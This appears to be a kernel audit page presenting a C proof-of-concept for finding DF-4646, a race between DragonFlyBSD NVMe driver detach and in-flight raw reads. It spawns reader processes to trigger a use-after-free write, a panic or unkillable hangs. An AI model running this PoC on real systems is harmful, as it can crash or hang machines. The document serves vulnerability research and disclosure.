⬢ DragonFlyBSD Kernel Audit
DF-4646 / nvio.c
← back to finding ↓ download raw
/*
 * nvio.c -- DF-4646 PoC (nvme_disk.c teardown vs in-flight data-path I/O).
 *
 * TEST ONLY.
 *
 * N processes issue continuous synchronous 128KB raw reads against an
 * nvme namespace device while the driver is detached underneath them
 * (hw.nvmebang.action=1).  In-flight bios are either:
 *   - completed after kfree(nsc)  -> nvme_disk_callback touches freed
 *     softns (devstat_end_transaction_buf UAF-write + biodone), or
 *   - completed via an IRQ on a freed/bzero'd completion queue ->
 *     KKASSERT(comq_tail < nqe) panic, or
 *   - parked in nsc->bioq when kfree happens -> orphaned: reader hangs
 *     forever in biowait (unkillable-style DoS), while the admin thread
 *     races the free in nvme_disk_requeues (lockmgr on freed nsc->lk).
 *
 * Readers self-report: pid, latency of each read; parent watches for
 * readers that never return (hang) after the detach.
 */
#include <sys/types.h>
#include <sys/fcntl.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>

static void
reader(const char *dev, int idx)
{
	char *buf;
	long n;
	struct timeval t0, t1;
	int fd;
	int iters = 0;

	buf = malloc(131072);
	if (buf == NULL)
		_exit(9);
	fd = open(dev, O_RDONLY);
	if (fd < 0) {
		printf("R%d: open %s: %s\n", idx, dev, strerror(errno));
		fflush(stdout);
		_exit(8);
	}
	printf("R%d: open %s fd=%d, spamming 128K reads\n", idx, dev, fd);
	fflush(stdout);

	for (;;) {
		gettimeofday(&t0, NULL);
		n = pread(fd, buf, 131072,
		    (off_t)(rand() & 0xFFF) * 131072);
		gettimeofday(&t1, NULL);
		if (n < 0) {
			printf("R%d: pread error %s after %d iters\n",
			    idx, strerror(errno), iters);
			fflush(stdout);
			/* short pause then retry (EBADF after destroy) */
			usleep(200000);
		}
		++iters;
		if ((iters & 0x3FF) == 0) {
			long us = (t1.tv_sec - t0.tv_sec) * 1000000 +
			    t1.tv_usec - t0.tv_usec;
			if (us > 1000000) {
				printf("R%d: SLOW read %ld us (iter %d)\n",
				    idx, us, iters);
				fflush(stdout);
			}
		}
	}
}

int
main(int argc, char **argv)
{
	int nread = 16;
	int i, ndev = 0;
	char dev[64];
	char devs[32][64];
	pid_t pid;

	if (argc > 1)
		nread = atoi(argv[1]);

	/* discover live raw nvme nodes (units grow on every re-attach) */
	for (i = 0; i < 1024 && ndev < 16; ++i) {
		snprintf(dev, sizeof(dev), "/dev/nvme%d", i);
		if (access(dev, F_OK) == 0)
			snprintf(devs[ndev++], sizeof(devs[0]), "%s", dev);
	}
	if (ndev == 0)
		errx(1, "no /dev/nvme* nodes");
	printf("discovered %d nvme nodes: %s ...\n", ndev, devs[0]);
	fflush(stdout);

	for (i = 0; i < nread; ++i) {
		pid = fork();
		if (pid == 0) {
			reader(devs[i % ndev], i);
			_exit(0);
		}
		printf("spawned R%d pid %d on %s\n", i, pid, devs[i % ndev]);
	}
	fflush(stdout);
	pause();
	return (0);
}